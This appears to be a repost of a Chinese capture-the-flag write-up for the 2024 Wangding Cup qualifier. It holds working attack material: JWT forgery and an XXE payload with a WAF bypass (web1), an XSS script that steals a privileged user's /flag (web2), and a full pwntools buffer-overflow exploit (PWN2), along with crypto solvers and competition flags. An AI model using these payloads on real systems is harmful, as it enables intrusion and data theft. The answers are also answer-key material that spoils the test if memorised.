WEB
web1
参考https://ctftime.org/writeup/30541
生成两个token,然后使用jwt_forgery.py工具撞出公钥
python3 jwt_forgery.py
eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjMifQ.GwPSBCVSuWrCQ0KYKv3bAaC5SaklZdNDT23VfqbplgMs8wepPSdy1FA9brNOvVefGjMrjrx-nB8w957_BvcBY1kmKbyKY8ujriLk1TEPr5shT3pYX6N2d_AA9Uk9IwgsxQpUir1fIXRZaJBk-UFlP4CYrhCfbV_5b-GTux_vuzst eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6IjQifQ.I_VZYx4YtiY84XdzQRVTA_WvxGfrHj-E7D-WGi810q3i_Ev4l3ZqHZK6cy1_fkvCiV5oA-MJoO_mMidPKzQbPv512rm9g6yA-6OM31fU9-dBaHiNBKiN4y4B2f_qJ6CScYY-4xNuSJ6QsjRI0hdwZVuFlkUbXGTeObBpZPo8cdd9
然后通过RsaCtfTool.py得到私钥
python3 RsaCtfTool.py --publickey ./public.key --private
用这个私钥生成token
成功改成admin用户
进入Game功能
输入🐱⭐
可以发现一个flag文件
然后有个app.py
输入
💿 🚩 😜 😐 🐱 ⭐
得到secret key
用这个密钥加密出role:admin
成功获取到admin权限
在上传功能上传一个xml,去读flag.php
转utf-16绕过waf
cat 1.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml
还绕过一下判断语句
最终得到
path=www.testctf.com@localhost/&user_input=/var/www/html/uploads/ad3e78b142e723460655d9a2154b7d95
发送代码进行xxe攻击,读取到flag
最终base64解码得到flag
web2
登入提交任务功能后存在xss漏洞,提交后boss会审核
且存在/flag,提示需要boss才能读取
思路,插入js代码先读取/flag然后在通过post请求把flag写到任务显示到页面
<script>
var response;
var xhr = new XMLHttpRequest();
xhr.open("GET", "/flag", true);
xhr.onreadystatechange = function () {
if (xhr.readyState == 4 && xhr.status == 200) {
response = xhr.responseText;
console.log(response);
FLAG();
}
};
xhr.send();
function FLAG(){
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function () {
if (xhr.readyState == 4) {
console.log("后端返回的结果:"+this.responseText);
}
};
xhr.open( "post", "/content/9772204351d6d73ed0f55fc0adfc11e1", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("content="+ response); }
</script>
输入任务,点击更新
提交到boss审核
返回页面就能看到flag了
PWN
PWN2
开始有一个登录的函数,然后只要拿到用户名和密码就可以进入
vuln函数存在两个字节的溢出,还将buf的地址给泄露出来了
还有给了我们后门函数和/bin/sh字符串
完整exp
from pwn import *
elf = ELF("./short")
context(arch=elf.arch, os=elf.os)
context.log_level = 'debug'
# libc = ELF('./libc.so.6')
flag=0
url='0192d6093a297e5e9de02a5fc5bb4757.tdfi.dg01.ciihw.cn'
port=45740
if flag:
p = process(elf.path)
else:
p = remote(url,port)
sa = lambda x,y:p.sendafter(x,y)
sla = lambda x,y:p.sendlineafter(x,y)
it = lambda : p.interactive()
uu32 = lambda : u32(p.recvuntil('xff')[-4:].ljust(4,'x00'))
uu64 = lambda : u64(p.recvuntil('x7f')[-6:].ljust(8,'x00'))
ru = lambda x :p.recvuntil(x)
rc = lambda x :p.recv(x)
sd = lambda x:p.send(x)
sl = lambda x:p.sendline(x)
lg = lambda s : log.info('x1b[01;38;5;214m %s --> 0x%x 33[0m' % (s, eval(s)))
sla('Enter your username: ','admin')
sla('Enter your password: ','admin123')
leave_ret=0x08048555 #: leave ; ret
bss=elf.bss(0x300)
read=0x0804865A
ebp=0x0804884b #: pop ebp ; ret
ru('You will input this: ')
stack=int(rc(10),16)
lg('stack')
pay=p32(0x080484A0)+p32(0x0804A038)*2
pay=pay.ljust(0x50,'x00')+p32(stack)+p32(0x080485FA)
# gdb.attach(p,'b *0x08048674nc')
# pause()
sa('your msg:n',pay)
# pay='shx00x00'*20+p32(0x080485FA)+p32(read)
# sd(pay)
# pay=
it()
CRYPT
CRYPTO01
这题目和2023领航杯的密码题是一样的(https://www.cnblogs.com/mumuhhh/p/17789591.html)
然后我们直接sage解密,我们只用替换我们直接的数据就可以
import time
time.clock = time.time
debug = True
strict = False
helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
nothelpful = 0
for ii in range(BB.dimensions()[0]):
if BB[ii,ii] >= modulus:
nothelpful += 1
# print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")
# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
for ii in range(BB.dimensions()[0]):
a = ('%02d ' % ii)
for jj in range(BB.dimensions()[1]):
a += '0' if BB[ii,jj] == 0 else 'X'
if BB.dimensions()[0] < 60:
a += ' '
if BB[ii, ii] >= bound:
a += '~'
#print (a)
# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
# 我们从当前 = n-1(最后一个向量)开始
if current == -1 or BB.dimensions()[0] <= dimension_min:
return BB
# 开始从后面检查
for ii in range(current, -1, -1):
# 如果它没有用
if BB[ii, ii] >= bound:
affected_vectors = 0
affected_vector_index = 0
# 让我们检查它是否影响其他向量
for jj in range(ii + 1, BB.dimensions()[0]):
# 如果另一个向量受到影响:
# 我们增加计数
if BB[jj, ii] != 0:
affected_vectors += 1
affected_vector_index = jj
# 等级:0
# 如果没有其他载体最终受到影响
# 我们删除它
if affected_vectors == 0:
#print ("* removing unhelpful vector", ii)
BB = BB.delete_columns([ii])
BB = BB.delete_rows([ii])
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# 等级:1
#如果只有一个受到影响,我们会检查
# 如果它正在影响别的向量
elif affected_vectors == 1:
affected_deeper = True
for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
# 如果它影响哪怕一个向量
# 我们放弃这个
if BB[kk, affected_vector_index] != 0:
affected_deeper = False
# 如果没有其他向量受到影响,则将其删除,并且
# 这个有用的向量不够有用
#与我们无用的相比
if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
#print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
BB = BB.delete_columns([affected_vector_index, ii])
BB = BB.delete_rows([affected_vector_index, ii])
monomials.pop(affected_vector_index)
monomials.pop(ii)
BB = remove_unhelpful(BB, monomials, bound, ii-1)
return BB
# nothing happened
return BB
"""
Returns:
* 0,0 if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
"""
Boneh and Durfee revisited by Herrmann and May
在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
"""
# substitution (Herrman and May)
PR.<u, x, y> = PolynomialRing(ZZ) #多项式环
Q = PR.quotient(x*y + 1 - u) # u = xy + 1
polZ = Q(pol).lift()
UU = XX*YY + 1
# x-移位
gg = []
for kk in range(mm + 1):
for ii in range(mm - kk + 1):
xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
gg.append(xshift)
gg.sort()
# 单项式 x 移位列表
monomials = []
for polynomial in gg:
for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
if monomial not in monomials: # 如果单项不在单项中
monomials.append(monomial)
monomials.sort()
# y-移位
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
yshift = Q(yshift).lift()
gg.append(yshift) # substitution
# 单项式 y 移位列表
for jj in range(1, tt + 1):
for kk in range(floor(mm/tt) * jj, mm + 1):
monomials.append(u^kk * y^jj)
# 构造格 B
nn = len(monomials)
BB = Matrix(ZZ, nn)
for ii in range(nn):
BB[ii, 0] = gg[ii](0, 0, 0)
for jj in range(1, ii + 1):
if monomials[jj] in gg[ii].monomials():
BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
#约化格的原型
if helpful_only:
# #自动删除
BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
# 重置维度
nn = BB.dimensions()[0]
if nn == 0:
print ("failure")
return 0,0
# 检查向量是否有帮助
if debug:
helpful_vectors(BB, modulus^mm)
# 检查行列式是否正确界定
det = BB.det()
bound = modulus^(mm*nn)
if det >= bound:
print ("We do not have det < bound. Solutions might not be found.")
print ("Try with highers m and t.")
if debug:
diff = (log(det) - log(bound)) / log(2)
print ("size det(L) - size e^(m*n) = ", floor(diff))
if strict:
return -1, -1
else:
print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
# display the lattice basis
if debug:
matrix_overview(BB, modulus^mm)
# LLL
if debug:
print ("optimizing basis of the lattice via LLL, this can take a long time")
#BB = BB.BKZ(block_size=25)
BB = BB.LLL()
if debug:
print ("LLL is done!")
# 替换向量 i 和 j ->多项式 1 和 2
if debug:
print ("在格中寻找线性无关向量")
found_polynomials = False
for pol1_idx in range(nn - 1):
for pol2_idx in range(pol1_idx + 1, nn):
# 对于i and j, 构造两个多项式
PR.<w,z> = PolynomialRing(ZZ)
pol1 = pol2 = 0
for jj in range(nn):
pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
# 结果
PR.<q> = PolynomialRing(ZZ)
rr = pol1.resultant(pol2)
if rr.is_zero() or rr.monomials() == [1]:
continue
else:
print ("found them, using vectors", pol1_idx, "and", pol2_idx)
found_polynomials = True
break
if found_polynomials:
break
if not found_polynomials:
print ("no independant vectors could be found. This should very rarely happen...")
return 0, 0
rr = rr(q, q)
# solutions
soly = rr.roots()
if len(soly) == 0:
print ("Your prediction (delta) is too small")
return 0, 0
soly = soly[0][0]
ss = pol1(q, soly)
solx = ss.roots()[0][0]
return solx, soly
def example():
############################################
# 随机生成数据
##########################################
#start_time =time.perf_counter
start =time.clock()
size=512
length_N = 2*size;
ss=0
s=70;
M=1 # the number of experiments
delta = 299/1024
# p = random_prime(2^512,2^511)
for i in range(M):
# p = random_prime(2^size,None,2^(size-1))
# q = random_prime(2^size,None,2^(size-1))
# if(p<q):
# temp=p
# p=q
# q=temp
N = 104769059324906604819374246969389472089736482039584780304698351288134425847574721209477631552050746222528061242850563906415558000954816414452571907898376586538455570846715727736834959625908944488834642926192746728574287181536549647851644625185864257557629579686099455733892320222578364826099212655146530976379
e = 12337109880409970018293646110440488264982341274846829641219533345965373708872641944832903882339212178067485766669515688243675673212167726028183775964215646348775048640061665951311218967384639999950950042290221189659835294938061099700246737365693200129282703765155456889082133763568539014092220899267025682857
c = 31744736423783628269884009616541129531740686983212218114995065554639252322714403985771782435353721009653250709135160293375136413735234647281736871541268953447552855923299477737849706638177219571453513142214997506075291749228813720600113175989090030091204440975462838480365583907951185017109681679559591532826
hint1 = 864467081468962738290 # p高位
hint2 = 939654974954806345061 # q高位
# print ("p真实高",s,"比特:", int(p/2^(512-s)))
# print ("q真实高",s,"比特:", int(q/2^(512-s)))
# N = p*q;
# 解密指数d的指数( 最大0.292)
m = 7 # 格大小(越大越好/越慢)
t = round(((1-2*delta) * m)) # 来自 Herrmann 和 May 的优化
X = floor(N^delta) #
Y = floor(N^(1/2)/2^s) # 如果 p、 q 大小相同,则正确
for l in range(int(hint1),int(hint1)+1):
print('nnn l=',l)
pM=l;
p0=pM*2^(size-s)+2^(size-s)-1;
q0=N/p0;
qM=int(q0/2^(size-s))
A = N + 1-pM*2^(size-s)-qM*2^(size-s);
#A = N+1
P.<x,y> = PolynomialRing(ZZ)
pol = 1 + x * (A + y) #构建的方程
# Checking bounds
#if debug:
#print ("=== 核对数据 ===")
#print ("* delta:", delta)
#print ("* delta < 0.292", delta < 0.292)
#print ("* size of e:", ceil(log(e)/log(2))) # e的bit数
# print ("* size of N:", len(bin(N))) # N的bit数
#print ("* size of N:", ceil(log(N)/log(2))) # N的bit数
#print ("* m:", m, ", t:", t)
# boneh_durfee
if debug:
##print ("=== running algorithm ===")
start_time = time.time()
solx, soly = boneh_durfee(pol, e, m, t, X, Y)
if solx > 0:
#print ("=== solution found ===")
if False:
print ("x:", solx)
print ("y:", soly)
d_sol = int(pol(solx, soly) / e)
ss=ss+1
print ("=== solution found ===")
print ("p的高比特为:",l)
print ("q的高比特为:",qM)
print ("d=",d_sol)
if debug:
print("=== %s seconds ===" % (time.time() - start_time))
#break
print("ss=",ss)
#end=time.process_time
end=time.clock()
print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
example()
然后我们就可以拿到d,之后进行解密就可以了
CRYPTO02
我们直接用ai去解析我们的脚本,然后直接生成脚本得到了一段维吉尼亚加密的字符串
import gmpy2
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes
import binascii
import gmpy2
import random
import binascii
from hashlib import sha256
from sympy import nextprime
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Util.number import long_to_bytes
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
r = 80932673752923845218731053671144903633094494351596082125742241568755353762809
s1 = 11239004842544045364097722042148768449026688243093666008376082303522447245154
s2 = 97301123368608673469588981075767011435222146576812290449372049839046298462487
z1 = 84483328065344511722319723339101492661376118616972408250436525496870397932079
z2 = 114907157406602520059145833917511615616817014350278499032611638874752053304591
# Calculate dA
s1_minus_s2 = (s1 - s2) % n
z1_minus_z2 = (z1 - z2) % n
r_inv = gmpy2.invert(r, n)
dA = ((s2 * z1 - s1 * z2) * gmpy2.invert(r * (s1 - s2), n)) % n
# Calculate key
key = sha256(long_to_bytes(dA)).digest()
encrypted = 'd8851c55edec1114a6d7a4d6d5efbba4611a39216ec146d2e675194dd0d5f768bee1b09799a133ffda1d283c4f6db475834cbe52c38c88736c94795c137490be'
encrypted_bytes = binascii.unhexlify(encrypted)
iv = encrypted_bytes[:16]
ciphertext = encrypted_bytes[16:]
cipher = AES.new(key, AES.MODE_CBC, iv)
decrypted = cipher.decrypt(ciphertext)
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''
for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char
return plaintext
victory_key = "WANGDINGCUP"
然后我们再用ai去根据我们的维吉尼亚加密去写一个解密算法
def victory_decrypt(ciphertext, key):
key = key.upper()
key_length = len(key)
plaintext = ''
for i, char in enumerate(ciphertext):
if char.isalpha():
shift = ord(key[i % key_length]) - ord('A')
decrypted_char = chr((ord(char) - ord('A') - shift) % 26 + ord('A'))
plaintext += decrypted_char
else:
plaintext += char
return plaintext
victory_key = "WANGDINGCUP"
victory_encrypted_flag = "SDSRDO{27Z8ZEPLGJ040UQX2Q0GLOG70PZ0484L}"
flag = victory_decrypt(victory_encrypted_flag, victory_key)
print(flag)
最后我们再将所有大写的字母转化为小写就是flag
flag:wdflag{27f8decfdb040abb2d0ddba70ad0484d}
REVERSE
REVERSE02
用ida打开文件,查看main主函数,发现flag位40位,且开头是wdflag{,结尾},中间是四重加密,每重加密8位flag部分
第一关,知道v2的8位16进制数,求s1,把s2的值除2转成字符串,得到第一段flag: bf00e556
第二关,知道v22和v11的值,v22和v11求得v12得到第二段flag:0f45aac9
第三关,v21进行了base64加密,要求v17,对v21进行base64解密,这里换了码表,得到第三段flag:c26f0465
第四关,aes加密,这里告诉了key,就是v9,其他都不用看,要对密文v4进行解密,得到第四段flag:b985cb15
wdflag{bf00e5560f45aac9c26f0465b985cb15}
MISC
MISC01
首先我们发现是一个Diameter协议,上网搜索发现再AVP部分包含了用户的信息
我们过滤Diameter协议
发现存在几条流量,我们一个一个分析,在这天流量中发现了location-information这个单词,就是位置信息的意思
我们依次跟进发现了这个字段,我们直接ai解释一下就是我们要找的位置信息了
然后我们进行行32位md5哈希运算后即可得到flag
wdflag{d72937999d564f8d86f2f583569a47d3}
MISC03
打开pcap文件
第一个IP就是
wdflag{39.168.5.60}
MISC04
像素偏移
是2024IrisCTF的原题https://almostgph.github.io/2024/01/08/IrisCTF2024/脚本直接运行。
from PIL import Image
from tqdm import tqdm
def peano(n):
if n == 0:
return [[0,0]]
else:
in_lst = peano(n - 1)
lst = in_lst.copy()
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py - 1 - i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + 1 + i[0], py + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px - i[0], py + 1 + i[1]] for i in in_lst)
px,py = lst[-1]
lst.extend([px + i[0], py + 1 + i[1]] for i in in_lst)
return lst
order = peano(6)
img = Image.open("./1.png")
width, height = img.size
block_width = width # // 3
block_height = height # // 3
new_image = Image.new("RGB", (width, height))
for i, (x, y) in tqdm(enumerate(order)):
# 根据列表顺序获取新的坐标
new_x, new_y = i % width, i // width
# 获取原图像素
pixel = img.getpixel((x, height - 1 - y))
# 在新图像中放置像素
new_image.putpixel((new_x, new_y), pixel)
new_image.save("rearranged_image.jpg")
执行结束后会生成一个二维码图片,扫码即可获得flag
wdflag{a60b3f7b-f7ea-4236-b678-0c135ed5a74e}
原文始发于微信公众号(利刃信安):2024网鼎杯青龙组初赛---WriteUp
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论